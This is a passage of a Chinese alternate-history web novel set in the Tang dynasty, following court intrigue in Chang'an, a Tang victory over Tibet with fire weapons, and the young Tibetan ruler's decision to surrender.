相王和太平公主对视一眼,还是相王先开口:“是为了三月份的春闱。春闱取士,是国家定例,按照规则,陛下应当亲自在殿中主持殿试。但臣子们久闻陛下久病,不知道陛下可否……” 相王说到一半,骤然停住,又躬身道:“臣等都希望陛下能早日康复,只是这出席与否,还请陛下……” “朕会去的。”李重俊有些不耐烦地敲了敲扶手,打断他那一堆循环往复的铺垫,“请相王叔转告礼部,按照朕要出席的仪式准备。” 相王得了他的准信,躬身一礼,不再说话,李重俊得以侧头问太平公主:“太平姑妈也是为了此事而来?” “臣只是想来看望陛下,见陛下容光焕发,臣就放心了。”太平公主道,“我那里还收了不少我从江南带来的特产,最是适宜春日,恳请陛下抽空踏足我府中一观。” 李重俊有些心动,但一阵突如其来的头疼打断了他应允的姿态,他靠在宝座上,用手指揉着脑袋:“朕知道了,有空会去的。” 气疾、气疾……这折磨过李唐历代君主的疾病现在又来到了他自己的头上。他无可奈何,也无计可施。 “是。但见陛下平安无事,臣等就可以回去了。”太平公主察言观色,率先告退。 相王也紧随其后,两人走出皇帝的视线范围之外,太平公主才伸手召来一个小宦官:“陛下为了什么事情发了鱼公公的火?看他头上,好吓人呢。” 那小宦官本不想开口,但太平公主和相王都目光灼灼地望着他,也容不得他想什么辞让之词:“回禀公主殿下,好像,好像是为了洛将军的事情……” “洛将军?什么事情?”相王抢先开口。 “好像是鱼公公说洛将军病势沉重,不能及时回朝,陛下不高兴了。”那小宦官吞吞吐吐地说到这里,终于不敢继续往下说,佯装侧面看了一眼:“我师父叫我,两位贵人饶了我吧!” 太平公主倒也不至于和这么一个内侍为难,她挥了挥手,放这小宦官离开,才同相王一道出了宫城。 直到走出宫门外,看着街边新发的柳枝,太平公主才忍不住感慨:“陛下也变得孩子气起来了,从前他是从来不信什么忌讳之类的话的。” “洛将军是国家的栋梁,又是先帝、陛下都认可过的大唐军神,陛下看重些,也无可厚非。”相王温声道,“只可惜青海相隔千里,谁也不知道那里发生了什么。” “古来名将多半享年不永,何况又是惊才绝艳如洛将军。”太平公主轻轻叹息一声,“洛将军今年二十八岁了吧?” 相王懂得她的未竟之言,汉代的骠骑将军霍去病不也是在这个年纪英年早逝的吗?但他只是摇了摇头,没有附和自己妹妹的话。 两人各自乘上自家马车,在路口处分道扬镳。相王跳下马车,唤来自己的长子李成器: “成器,你看看,那封耀卿自青海写来的信在哪里?” 第257章 “现在来接任统帅职务,大概能赶得上与吐蕃人的最后一战。” 几日之后, 相王李旦领衔上奏,以洛北病重,不能总领军事为由, 要求朝廷撤换青海前线的唐军主帅。 长安城的朝堂顿时炸开了锅, 满朝谁人不知与相王深有渊源的裴耀卿正在青海当监军御史,相王主动挑头上奏,岂不是说明洛北确实已经病重,命不久矣? 这一年的长安多雨,几度不停, 就在这一片阴恻恻天空下,宰相们围聚在政事堂讨论这道奏疏。 同样是御史出身的宰相张孝嵩第一个出言反对: “我与洛将军素来亲厚,当年在西域, 追随他翻天山,越荒野,以洛将军的性格, 便是真的病重不能视事, 也会提前安排。何以兵部没收到他的奏疏,倒是被相王一本捅了上来呢?这不合常理。” 他手指虚点在桌上,说这话时不看那本奏疏,只高高地昂着头与中书令萧至忠对视。 萧至忠知道他常在边境, 对洛北素来信任,但还是为他不加掩饰的“亲厚”二字捏了把汗。他扫视了一眼旁侧, 担心有人要开口发难,先把话头堵上: “孝嵩这话说得也绝对了些,洛将军又不是神人, 安能料到自己病重不起?不过,因为一本奏疏轻易撤换主帅, 不是明智之举。我的意思……不如派个人去青海看看。” “若是陛下应允,我愿意跑这一趟。” 久久不言的岑義开口。他便是当年那个为五王读弹劾武三思的奏疏而被逐出朝堂的倒霉人,本也是个长于文采的名士。后来武三思失势,他就又被召回了长安。如今也在宰相之列。 与他同是中书舍人出身的苏颋笑道:“岑相公,要去青海,应当由我这个熟悉道路的人去嘛。” 他这句话在一片愁云惨雾的政事堂内激起了一点笑声。气氛忽而缓和下来,只听到窗下雨打芭蕉的清脆声响。 萧至忠捋了捋胡须,打算在奏疏上写下宰相们的主张。偏生这时,户部尚书毕构开了口: “萧相公,我看这不太妥当吧?” 萧至忠皱起眉看他,毕构却一步一步,不慌不忙地来到众人之前:“远隔千里,要派人前往,再上书回奏,一来一回也要两三个月功夫。大军在青海前线耗费无数,这个支出,谁来承担?” 这是有备而来。张孝嵩心头一紧,面上却不能表露——在长安待的时间越久,他便越来越学会了不露声色,但他的目光已经瞥向了一边。 那是兵部尚书兼前任相王府长史姚崇的方向。 不出他所料,姚崇手中的青瓷茶盏与檀木案几相触,发出一声清响。 “户部的数字要计算清楚,江山社稷的安危更要计算清楚。”他环顾四周,看向众人,“洛北若真如相王所言病入膏肓,吐蕃铁骑闻讯南下,谁能阻挡?” 窗外惊雷照亮了不远处含元殿的鸱吻,张孝嵩轻轻叹了口气,沉默下去。萧至忠也不得不再度出来说话: “姚相公说的是,江山社稷为重,我们这些人,都该好好考虑考虑。” 金雕展开双翼,穿梭在碧蓝的晴空之下。洛北伸出手臂,让它落在自己的手臂上,金雕却一直不肯下落,直到骨力裴罗从帐内搬出那只大架子,才安然落了下去。 “你是该多吃些东西了,乌特。”阙特勤半开玩笑半认真地笑他:“金雕都怕把你压折了。” 洛北无奈地笑了一声,并未接话。他低头自金雕爪间取下铜管,展开的字条被山风刮得猎猎作响。 “朝廷那边终于有动作了,他们打算以薛讷为正,高仙芝为副,到青海来接我手中的兵权。两位将军现在都已经离开了长安。” “长安的贵人倒是会挑时辰。”阙特勤听见“薛讷”二字,鼻间溢出声冷笑:“现在来接任统帅职务,大概能赶得上与吐蕃人的最后一战。” “不,他们赶不上。”洛北将密信撕成碎片,扬到空中,好像一场小小的雪,“逻些城和吐蕃人的忍耐都快到了极限,最多五日,除非吐蕃赞普肯接受失败的结果,不然他一定会出兵。” 金雕振翅而起,掠过吐蕃大旗时投下一片黑影。 与洛北的军队僵持到二月初,吐蕃人的大营中已经是怨声载道。贵胄头人们要错过春日的节庆和典礼,庶民和奴隶们要错过农耕放牧的好时节,逻些城的盐价依旧居高不下…… “若不是赞普在这里,我军月余之前就要起营啸。”韦·绮力心儿深深叹息一声,“只是赞普,再耽搁下去……” “大论说的有理。”赞登脱脱玛柔声劝她的儿子,“您是高原上的赞普,应当早点回到逻些城的雪狮子王座上去,不该在前线僵持。” “母妃为什么这么说?”赤德祖赞望着她,“您分明一直希望我做个父亲那样的英雄。” 赞登脱脱玛望着她的儿子,心底却止不住地涌上悲伤: 她的丈夫杜松芒波杰,人人都称他是英雄,是伟大的赞普。 他杀了威胁雪狮子王座的论陵钦全族,平定了诸多叛乱,打赢了许多战争,可最终也死于一场叛乱之中——究其原因,便是他太沉醉于四处征伐,忘了政治有时候比军事更管用。 但这话,她过去不能和自己的儿子说,现在就更不能同自己的赞普说: “会盟之日就要到了,您刚刚接受尊号不久,应当四处巡游,接受臣民的赞美。” “我这样丢弃土地、节节败退的君主,还能接受他们什么样的赞美?” 赞普的金帐陷入一片沉默,一众将领各个低头不言。 “我不接受就这样撤军。”年轻的赞普丢下一句话给他的御前大臣和将军们,“后天,我要亲自率军,全力进攻唐人的军队!” 第三日晨雾未散,吐蕃前锋果然向山推进,赤德祖赞的大旗映着朝阳,自山脚步步攀登而上。 洛北与他的将军们都立在城头望着吐蕃人向唐军逼近。吐蕃军队漫山遍野,似乎月余前的交战未给他们造成损伤。 “吐蕃人真是在赌博了。”李嗣业凝眉感叹,伏俟城、乌海以及月余前数场大败之后,吐蕃人竟然还能有这么多军队可用? 阙特勤抱着手臂:“他以为打仗是靠人多赢点吗?大帅,请你下令,我去教训他们一下。” “不。”洛北摇了摇头,转身示意传令官打出旗语。 三百架蒙着棉布的大车次第推出,车辕上由铁锁相扣,就成了拒马。 冲在最前的吐蕃骑兵撞上铁链,战马悲鸣着栽进壕沟,后阵收势不及,层层相叠,山下人马尸骸顿时堆成一片。 韦·绮力心儿勉力在阵中稳定局势,他连连呼喝数下都不起作用,心知此事已经到了无可挽回的边缘。他唤来自己副官,高声下令:“带几个人到两边,谁再慌乱,立刻杀掉!” 鲜血终是帮助吐蕃人稳定了局势,吐蕃大军各自从侧边绕过这条防线,向唐军营地杀来。 “放石脂水!” 传令官一声令下,投石机绞盘发出令人牙酸的吱呀声。 数百只陶罐在晨光中划出百道弧线,撞到地上和人身上时发出清脆的声响。自那陶罐之中流出的是黑乎乎,黏糊糊的刺鼻液体,沾得吐蕃人身上、马上到处都是。 “这是什么东西?是唐人的妖法?” 赤德祖赞华贵的织锦长袍上沾了不少,怎么拍打都无济于事。 “赞普!那是——”赞普身边的侍者凑过去替他处理这片污渍,却在抬头的不经意间看到高处一个玄甲金瞳的将军挽弓如月,箭尖正朝着自己的方向。 弓弦在空气中发出轻微铮鸣,下一瞬,鸣镝破空而去。 那支鸣镝呼啸着掠过赞普头顶,直直将吐蕃大旗射落在地。 唐军和苏毗军队的欢呼声震天动地。赤德祖赞却脸色发白—— 他还是个孩子的时候,也曾听人说起能射落星辰的乌特特勤的故事。现在,故事里的传奇人物就站在那里,成为了他的敌人。 数百支火箭跟随鸣镝的方向自唐军阵地飞来。吐蕃人的惊呼尚未出口,燃烧的箭矢已如流星坠落。 “轰!” 石脂水触火即燃,霎时间山间腾起百道火蛇。沾着黑油的皮甲化作流动的火衣,战马嘶鸣着将背上火人甩落,火团滚入人群又引燃新的哀嚎。晨雾被火光映成血红色,焦臭混着硫磺味在山谷间翻涌。 “保护赞普!撤!快撤!”韦·绮力心儿挥刀劈开着火的战旗,却见侍从官突然将赤德祖赞扑倒在地。一支鸣镝擦着赞普的金冠掠过,将后方举旗的百夫长钉死在焦土之上。 就在这时,阙特勤的骑兵和李嗣业的陌刀队趁机从侧翼杀出,吐蕃军队已经方寸大乱,除了逃跑什么都顾不上,被两军这样一追,顿时溃退。最混乱的地方,吐蕃军人自己挤作一团,把最外侧的数人挤下了山道。 捷报到达青海唐军大营是第五日的清晨。当传令兵喊着“有捷报——”跑过营帐之时,连裴耀卿都忍不住出帐张望: “几百对几万,这样也能打赢?” 身边的士兵不知他身份,见状拍着胸脯和他夸耀: “那是,我们洛将军是神明降世,那些吐蕃人怎么会是他的对手?!哼,长安还要派人来换掉洛将军,这下好了,仗打赢了,长安的宰相和皇帝应该知道到底谁是忠臣了!” “有人要来换掉洛将军?”裴耀卿瞪大眼睛,一脸不敢置信。 “是吧,你也觉得不能相信。哎,你去哪!” 那士兵的声音已经被裴耀卿抛到了脑后,他发足狂奔,不在乎他人阻拦,一路闯到褚沅帐前。 “请您在此稍候。”守门的卫兵拦住了他,“褚夫人有要事处理。” “我有要事要见褚沅,叫她出来见我!”裴耀卿吼道,“我还是朝廷委任的监军御史,凭她一个掌书记,拦不了我!” “罢了。”褚沅的声音幽幽传来,“你放他进来吧。” 裴耀卿整了整身上的衣袍,大步流星地迈进营中,褚沅正在看几封信件,见到他只是抬头一望: “我真要问问王公子是怎么看护犯人的了,平日散漫也就算了,这样的时候,竟让你就这样闯到了这里。” “少废话,褚沅,你是不是换了我的信?” 第258章 “不过,顾全大局,委曲求全,到底没有快意恩仇来得爽快。” 褚沅将手中的信件往案板上一扔, 似笑非笑地抬头望着裴耀卿: “裴御史未免对自己太没自信了些。你为相王府编织的那一套密语徽记何其严密,我纵是有通天的本事,一夜之内也解不出来啊。” 裴耀卿闻言一怔, 自李隆基政变失败被杀之后, 相王府风声鹤唳。 为了保密,也是为了互相联络,他替相王编织出这套严密的体系,用于相王和心腹之间互相联络。此事何其隐秘,就连相王都不敢让自己的孩子们知晓……褚沅怎么会知道? 但此刻发问, 便是向褚沅示弱。他抿紧了嘴唇: “褚夫人好高明啊,如今薛讷离朝,又带走了一个可能掣肘洛北的高仙芝。长安城里的那些禁军、军士又会被那些唯洛北马首是瞻的将军们掌控。现在陛下想杀相王, 不过就是一句话的事情了。” 褚沅笑了一声,环抱手臂看着他:“看来裴神童还不算太笨。” “为了做成此局,堂堂大军统帅、大唐军神肯在阵前受伤中毒, 你褚夫人一个弱质女子敢在隆冬腊月奔赴千里。我们输得不算冤枉。” 裴耀卿摇了摇头, 似乎是不甘心,还是抬头定定地看着褚沅: “但我就是不明白,那套体系如此严密,你如何能调换信中含义而不被相王发现呢?” 褚沅起身走到案上摆着的瑞兽香炉之前, 用铜签拨了拨灰尘。大帐中开始弥散一股温润的甜香——这大概是这位虞国夫人千里迢迢从碎叶带来的。 “有个简单的解释,只是你不愿相信。”她留给裴耀卿一张侧脸, 连目光也不肯偏过去半分,“相王不信你。” 这轻轻巧巧的半句话激得裴耀卿忽而暴起,他上前半步, 几乎要迫到褚沅面前:“不可能,相王与我君臣相知十余年。当年若不是他慧眼识珠, 我还在秘书省当正字。”他从腰间扯下一串玉佩,“你常在御前,应当知道此物。” 褚沅看着他,眼中竟带着同情:“我知道此物,这是当年武李两家明堂盟誓之后,女皇赠给在场的皇亲贵胄的。李家持有此物者是太平公主与相王,武家则是武三思……可怜,你竟以为相王把此物转赠给你是表达欣赏?” 裴耀卿愣住了。 他想说,你不知道当时相王饱受怀疑身无长物,家财无几,唯有此物最为贵重吗? 他想说,当时武李两家已经结盟,有此物相赠便代表了相王对他的重视。 他想说,当时相王拉着他的手:“我身家性命皆托耀卿,何惜一块小小信物?” 但他只是张了张口,干巴巴地问道:“你为什么这么说?” “你太小看相王了。当年女皇力主武李联姻,饶是太平公主与先帝都不得不与武家结亲,只有相王一个人逃了过去,连子女们也未有与武家走得亲近的。” 褚沅语气温和:“这还不能说明相王的手段?” “这与我……” 裴耀卿张口正要辩解什么。褚沅却没给他这个机会,她挥手将裴耀卿的话断然截断: “耀卿,你好好想想,古来贤君明主,皆是敢于承担之辈,受国之垢,是谓社稷主;受国不祥,是为天下王。相王和他的父亲一样,只知道躲在幕后玩弄权术,他算什么明主?!” 她看着裴耀卿迷茫神色,干脆站起身来与裴耀卿对视: “你好好想想,他把你派到青海来谋刺洛将军,是已经做好了把你丢出来承担这些将军们的怒火的准备。结果,一个‘本应死去’的人,活得好好的不说,还能给他写信——他怎么可能相信你的话?” 朔风吹起帐外帅旗飒飒作响,裴耀卿伸手扶住了大案,他看着褚沅,似乎在做最后的挣扎:“你胡说……” 褚沅自他身侧走过,掀开了帐帘。王翰正在帐篷之间奔走,和所有人打听裴耀卿的下落。 帐中瑞脑香雾陡然被风搅散,裴耀卿踉跄着跌坐在胡床上。腰间玉佩撞在鎏金扶手上,发出清脆裂响:“可他对我,置生死、托心腹……” “所以他才要你到青海来,学荆轲、聂政。他想要你死。”狂风之中,褚沅广袖翻卷如鹤翼,“你见过太多不该见的事,听过太多不该听的苦。等他登基当了皇帝,这些往事就该被埋葬。” “我知道你的意思,”裴耀卿长叹一声,眼中已经有了泪花,“但我不能背叛相王。否则……” 他以衣袖擦掉眼泪:“否则我这一生,不就成了个彻底的笑话?” 他以为的君臣相得是假话,以为的正义邪恶是假话,以为的郑重相托是假话,他能抓住的,也就是这么一点最后的忠义。 “不,我什么也不需要你做。”褚沅望着远方的雪山,目光邈远,语气里甚至带了笑:“我不需要你出卖相王,也不需要你为我所用……我只需要你老老实实地回到王翰身边去,替他编那套他那套书。” “什么?!”裴耀卿瞪大双眼,“没有条件?” “我和你没有条件可讲,你的处置,也不是要我做主的事情。哦,有一条,下回别再这样直接闯到我的大帐里来了。” “褚夫人。”王翰终于看到这帐中的局势,一下子冲了进来,他看看裴耀卿,又看看褚沅,生怕他们之间闹起了什么不愉快,“裴御史怎么在这里?” “我也想问问王博士,你是怎么看犯人的?”褚沅坐回桌案之后,挥了挥手,“好在没让他看到什么机密,你把他带回去,下不为例。” “哦,知道了。”王翰还要和她说什么,褚沅却已经提笔在纸张上写起了字。他自知理亏,一句也不争论,拽着裴耀卿乖乖地出去了。 慕容曦光从屏风之后转出来,目光中带着深思:“我在长安的时候,也和相王打过几回交道。他虽说确有些城府,可说他心计如此之深……我看不出来。” “相王吗?女皇曾经评价,他是个温懦之辈。”褚沅一边写手边的一封信,一边回答慕容曦光,“我认为,这个评价恰如其分。” “那你刚刚说的那些是?” “真真假假混在一起,就不容易被发现是在说谎。”褚沅拍拍他的肩头,又发现曾经的少年人已经高了她半头,只得面不改色地收回手。 慕容曦光全然没有在意,只是皱眉道:“为了这个家伙,褚姐姐干嘛要花这么多心思?他刺王杀驾,妄图谋害主帅,罪无可恕。又是个死忠相王的顽固派,一刀杀了都难解我们心头之恨。” “何况让他活着,对吗?”褚沅写完最后一个字,搁下笔,回头看向慕容曦光,“因为许多事情,不是非黑即白那样简单。裴耀卿在朝中交游广阔,在文坛也有些小名气,杀了他容易,那些关切他的人便会群起攻之,到那个时候,被动的反而是我们。” 她将晾干的纸张折起来,封入信封之中,又在封口处盖上自己的私印: “不过,顾全大局,委曲求全,到底没有快意恩仇来得爽快。” 洛北读完手中的信件,将那数张白纸撕成碎片,丢进了帐内的牛油大灯之中。 纸片很快在火焰下化飞烟,好像什么都没有存在过。 “洛将军!”骨力裴罗兴冲冲地走进他的大帐,低身道礼时动作都显得格外雀跃,“我们找到了吐蕃大论,韦·绮力心儿的尸首。” 吐蕃败退之后,唐军与苏毗联军搜山三日,清理战场。 韦·绮力心儿便是在一堆烧焦的树木残骸间被他们发现的,临死之前,他手中还紧紧地抓着一把镶嵌着绿松石的匕首。 “赤德祖赞呢?还是没有痕迹吗?”洛北问。 骨力裴罗摇了摇头:“没有,将军。吐蕃赞普的容貌图样、衣服饰物都发给大家伙看几遍了。那样华贵的服饰,本来也不难找。我们只能猜度他怕是逃走了。” “该死,年轻人到底跑得快。”阙特勤愤恨不平,“哼,可惜我日后墓上的杀人石又要少一座了。” “吐蕃大论还不够分量的吗?”洛北笑笑地看他,“若是不行,你把大食人的将军们放上去。” “一码归一码,那些将军们可和我没关系。”阙特勤摆了摆手,“我这个人素来坦荡,不然上去了不好面对祖先。” 洛北轻轻一笑,还未说话。侍立在他身后的骨力裴罗已经笑了起来。 阙特勤本要笑骂骨力裴罗一句,自己也忍不住笑了起来。两人声音越来越大,几乎惊起了半林飞鸟。 李嗣业在一边摩挲着自己的下巴:“如今天气寒冷,吐蕃赞普应当逃得也没那么快,不如将军命我率领轻骑一路追击,说不定有意外收获。” “嗣业的勇武,我从不怀疑。但追击赤德祖赞不是明智之举。”洛北摇了摇头,“这个季节,高原气候多变,随时可能有大风暴雪。没必要再让我们的将士去冒险。” 李嗣业有些疑惑:“将军就这样放走了他,若他回逻些城整军再战,我们该如何应付?” “赤德祖赞今年也就是个青年,还没有他父亲的声望,能一而再,再而三地组织一场可能不会胜利的征战。”洛北道,“再说,我已经为他准备了一个礼物,在逻些城恭候多时了。” “礼物?”阙特勤被这句话引起了兴趣,好奇地望了过来,“什么样的礼物?” “前任的吐蕃大论,韦氏家族的乞力徐。” 第259章 “大论乞力徐,你可愿意为我前往逻些城,说服那些人止干戈,永和平?” 自数月前被俘时与洛北做了那番长谈之后, 乞力徐就已经意识到,年轻的吐蕃赞普不是这位唐军主帅的对手。 但当他在逻些城里,目睹盐价飞涨、粮食供不应求, 甚至已经有人饿死街头的惨状之时, 他还是深深地叹息了一声。 他已经理解了洛北在临行之前和他所说的那番话。 “吐蕃据有地势之利,自以为可以千年万年,高枕无忧。可是大论,你想过没有,你们羁押他族, 虐待生民,滥用民力,迟早会遭到反噬。到时候, 祸乱之源不在于外,而在于内。” 那时是战争刚刚结束,一切事务都刚刚被提到台面上, 洛北揉了揉眉心, 英俊的脸上是掩饰不住的疲倦: “大唐与吐蕃,民出同源,枝蔓相连,本是一家。如今互相征战五十余年, 天下人都已经感到厌倦。” “为了以示诚意,我愿让你带走粮草两车, 盐巴五十袋。你呢?大论乞力徐,你可愿意为我前往逻些城,说服那些人止干戈, 永和平?” 那时他心里多有不甘,想的是一旦回到逻些, 就立刻征召部族,重新征战,务必要把那个自大的唐军统帅打得落花流水。 可如今回到逻些,看着这些生计艰难的百姓,他忽而意识到,洛北是对的——这位本来有机会荡平逻些,立下不世之功的大唐将领把机会让了出来,让他给吐蕃人谋一条生路。 整整五日,他都带着自己的家族妇女和部曲们在逻些城街头分发粮食和盐巴。那些骨瘦如柴的男男女女为了一点稀粥便向他叩拜,快要走不动路的贵胄子弟蒙着面来要一碗盐巴…… “战争必须尽快结束。”他叹息着对自己的孩子说,“再拖下去,我们自己就会崩溃。” 他的孩子望着他,神情中有佩服,也有担忧:“父亲,昔年论陵钦也是一心为国,但他在哪里,他的家族如今又在哪里?吐蕃王家素来是刻薄寡恩,您,您得为自己考虑啊。” “为自己考虑?”乞力徐微微皱眉,“你的意思是,我要置之不理?” “您可以和现在一样,只帮助百姓,其他什么也不做。”那孩子苦口婆心,“洛北在苏毗,他不会派人来逻些追杀您。但吐蕃赞普的卫队离我们很近,一旦赞普决意对我们动手,我们一点招架之力都没有。” 乞力徐何尝不明白这孩子的意思,可是以如今的局势,他从苏毗带来的那些粮草只是杯水车薪,要想彻底改善局势,有且只有一种可能性。 “我要去。”他对自己的孩子说,“我要去为吐蕃人谋一条生路。至于我自己和我的家族……” 他蹲下来摸了摸那孩子的头:“对不起,卓玛,那就拜托你了。” 自从前线仓皇逃回之后,吐蕃赞普赤德祖赞便成了一只惊弓之鸟。他宫殿的房间内不能有明火。侍女和仆从们不能穿着红色和黑色的衣裳出现在他的房间里…… 大臣们更是几乎不能近他的身边。陪在他身边的是他的母亲赞玛脱脱登和一群僧人。他把自己关在那间小小的佛堂之中,在僧人们的唱诵声里寻找一个解脱。 “不如恭请母后赞玛脱脱登摄政,像赤玛雷一样统治我们的国家。” 乞力徐到来的时候,人们正在走廊上窃窃私语。 乞力徐知道他们的考量: 赞普不能视事,可局势又已经差到了不能再差的地步。如果唐人的军队真的兵临城下,只怕吐蕃王家连个谈判的人都派不出去。此刻让赞玛脱脱登摄政,是个再好不过的主意。 但这也意味着:他要说服的人又多了一个。 “大论,您要进去吗?”守门的禁军首领看到是他,声音略带了一点颤抖。乞力徐自赤德祖赞登基以来就担任着大论角色,红宫中的许多头人和将军都在他的麾下打过仗。 “是,我来求见赞普。”乞力徐毕恭毕敬地向着吐蕃赞普的方向躬身道礼,“请带我去看看他。” 金殿穹顶的孔雀蓝琉璃瓦漏下几缕天光,赤德祖赞的王座前堆满了空酒坛。年轻的赞普躲在佛堂里,在屏风上透出了一个披散着一头乱发的影子。 “大论乞力徐!”赞玛脱脱登第一个看到了他,“您从那噩梦的乌海回来了?上天还是眷顾我们的,我们正愁没有好的大论人选。尚族的子弟们都说他们要担任,可是……” 乞力徐看着她,知道她的未尽之言,一家独大,对于吐蕃王家来说不是好事。更何况,如今的局势没有给那些只会说大话的人太多腾挪的时间。 “我明白太后的意思。”乞力徐躬身行礼,“可是我是从唐军的大营来,此行是来劝赞普议和的。” “大论要给那个魔鬼当说客?”他的话音未落,赤德祖赞的声音已经从佛堂中传了出来。 乞力徐不说话,只低头静静地等着吐蕃赞普出现。 当赞普的锦袍出现在他的视线里时,乞力徐才抬起头,不出他所料,眼前的青年人眼下一片青黑,神色迷茫里带着一点癫狂——这不是一个明君应有的样子。 “赞普可曾去过逻些城中的米铺?”乞力徐从怀中掏出半块发黑的青稞饼,“那些地方现在在卖的是这样的东西,里面掺着木屑和泥土,吃下去的人会把肚肠划破。可是……我去看他们的后院时,那里还堆着几大箱的青稞粉。” 赤德祖赞的瞳孔骤然收缩。他当然知道这样的大乱之下,贪腐几乎无法避免。 昨夜,就在昨夜他还亲手处决了偷窃军粮的近卫。但当他看到乞力徐掌心那团污秽食物时,喉头突然涌起酸水,仿佛吞下了一整块冰。 “这就是唐人和那个魔鬼想要的,恐惧。”赤德祖赞颤抖着双手,似乎想要接过这块青稞饼,忽而又意识到什么,猛然起身,他腰间的腰带撞得叮当乱响:“不,没关系!让那些贱民去死!等开春雪化,本赞普要带着十万铁骑踏平长安!到了那个时候,我给每个人都分一卷唐绢!” 乞力徐深深地叹了口气,他望着侧墙,那里本该挂着一副吐蕃疆域图,如今已经被一副佛像取代。 他突然跪倒在地,额头重重磕在冰冷的金砖上:“老臣十六岁随军征讨象雄,三十年间见过太多尸体。但那些尸体眼里烧着复仇的火,不像现在”他抬起头,浑浊的泪水滑过沟壑纵横的脸:“现在的逻些人眼里,只剩死灰。” 空气突然凝滞,唯有殿外呼啸的北风在檐角呜咽。赤德祖赞的指尖深深掐入掌心,他想起三天前巡城时看到的场景——垂死的农奴用最后力气在宫墙上画了诅咒的文字: 他们诅咒王室日渐衰微,永坠地狱。 “我不想看着子民饿死。但我不能投降!”年轻的君主扯开了自己身上的锦袍,露出身上烧伤的痕迹,“那些唐人得到了魔鬼的庇佑。一旦投降,我们就一点筹码也没有,只能任由他们摆布了。” “现在也一样,赞普。” 乞力徐自袖间掏出一卷羊皮地图,这份地图还是洛北临行之前给他的,上面有碎叶文馆的印记。 “就算您不愿议和,那些贵胄和头人可不会这么想。洛北只要率军来到逻些城下,或许不需要动刀兵,只要命火头兵埋锅造饭,我们的军队就会望风而降。” 赤德祖赞听到这里,终于踉跄着跌坐回王座。黄金扶手雕刻的雪狮獠牙刺破了他的掌心,鲜血顺着鎏金纹路蜿蜒而下。 “洛北将军对我承诺,若开城投降,唐军只收缴武器,不伤百姓。”乞力徐的声音突然变得清亮起来,好像是当年那个主持会盟,稳定局势的吐蕃大论:“他会奏请大唐天子,保留吐蕃王室尊号,开放茶马互市” “住口!”赤德祖赞抄起案上金樽砸向殿柱,酒液飞溅,染红了地上的地毯:“当年先祖筚路蓝缕建此王国,不是为了让子孙去长安当唐人的笼中雀!” “大唐好与吐蕃本为一家,枝蔓相连。赞普,您也是文成公主的后人,身上流着唐人的血。” 乞力徐站直了身体,双目中有着常人难及的力量: “长安使团曾为我们吐蕃带来过繁荣,我恳请赞普效仿旧制,不要再与大唐为敌。” 赤德祖赞的声音戛然而止,他站在那里,低下头,手握成了拳头。 佛经唱诵声又近又远,他抬起头,看着那些佛像,当夕阳照到佛像的眼睛时,赤德祖赞几乎能听见自己灵魂碎裂的声音。 “我答应你……”赤德祖赞的声音沙哑,“亲自,亲自去阵前向洛北投降。” 乞力徐长舒一口气,正要跪拜感叹赞普的大度,赤德祖赞却一把拉住了他: “告诉洛北,他若有胆子就也亲自来。本赞普要与他当面立约——若唐军食言,我化作厉鬼也要让汉地永无宁日。” 当沉重的宫门铰链开始转动时,乞力徐缓缓地走出宫殿,摆在他面前的还有许多事情要做。但当人们围聚到他面前时,他还是笑了: “赞普决定与大唐议和!” “今后,我们不再打仗了!” 第260章 “我还从来没有想过,‘不敢赌’这三个字会从你洛北洛将军的口中说出来。” 吐蕃称降的消息传到长安时, 顿时在朝中引起一阵轰动。 年轻的皇帝李重俊对此前洛北屡次称病不回长安积累起来的那点小小怨气被这封捷报一扫而空,就连自己的头疼都顾不上了,立刻召集在长安的常参官们入朝陛见。 人们拥挤到紫宸殿内, 紫色绯色的朝服汇成一片流光溢彩。吐蕃称降, 西北半壁战事得以停滞,这样的万世功勋,人人脸上都是一片喜气洋洋。最兴奋的当属张孝嵩,他一路走来,一路向自己同僚们拱手道礼: “万世之功!洛将军此举一扫大非川之阴霾, 立起了我大唐丧失五十余年的锐气!” “孝嵩说得好!”李重俊从帘后转入幕前,正听得他这句话,便立刻抓住机会, 侃侃而谈起来,一下要礼部准备最高的礼节,一下要兵部给参加此战的士兵嘉奖, 一下要亲自给洛北写信, 要他在吐蕃人的土地上祭祀天地,还要借此机会前往泰山封禅,好显示自己的文治武功: “令洛北早日率军还朝,伴驾随行!” 洛北的回信则显得理智克制许多: “臣闻周武克殷而封宋地。今吐蕃丧胆于苏毗, 非畏刀兵之利,实慑天朝之德。若乘此势效周公吐哺之仪, 许其称藩纳贡,则西陲可安五十载。昔太宗皇帝纳突厥降众,置都护府以绥远人, 此圣主量含天地之鉴也。伏惟陛下以万民之心为心,罢封禅之议, 修金册之礼,使赞普稽首阙下,天下狼烟一清,万世永享太平。” “横扫天下的洛将军如今写奏疏也像个道德先生了。”李重俊摩挲着下巴,脸上露出为难神色,“他这样一说,朕倒是不得不顺了他的意了。这样吧,还是由解常侍到青海去,全权负责谈判事宜,还有” 皇帝露出一个笑容:“等到谈判结束,把洛将军一并带回来。” 解琬这一年已有八十岁,一路舟车劳顿,来到青海时已经是三月中旬,目之所及都是一片冰雪消融,绿草如茵的胜景。 经过一冬的沉寂,牧人们把冬日的厚毡袍和被褥拿出来晾晒,新生的牛羊在草场上跟在父母们身后,一步步地走到春日的草场。 孩子们在空旷的原野上,大呼小叫,互相追逐。歌声时时自放牧的牧民们口中呼喊出来,自漂洗衣服的妇女们口中吟唱出来,就像草原湛蓝的天空下漂浮着的白云。 “他们说的不是吐蕃话。”解琬顿住马蹄,低声和他的侍从们感慨。 侍从们你看看我,我看看你,谁也没有明白他的意思。解琬也没有等他们理会的意思,兀自驱动马匹,一路向西狂奔而去。 吐蕃主力败退之后,洛北一路率军前行,驻扎在那曲河上游的吐蕃城邦。 此地离逻些城已经不到五天距离,天气晴好之时,可以望见逻些城边的雪山。 解琬到达洛北军中之时便是这样一个晴天。洛北正在山间骑马漫游,解琬挥手拒绝了侍从下属的禀报,自行骑马追到了他身边。 “解常侍到来,有失远迎,还请解常侍当面恕罪。”洛北远远地望见是个须发皆白的老者,忙不迭地下马道礼。 解琬的紫袍在山风中猎猎作响,他布满老年斑的手掌勒住缰绳,与洛北相对而立。两匹战马的影子斜斜铺在开满格桑花的草甸上,像两柄交错的长剑。 “洛将军客气了。”解琬笑着伸手去扶他,“论官职、论品级、论爵位,你都已经在我之上,你对我道礼,已经是于礼不合的事情了。” “解常侍于我有恩,我不敢忘怀。”洛北不肯退让,还是坚持把这一礼行完,才抬起头来:“解常侍不肯在大帐中与我相见,是有话要对我说?” 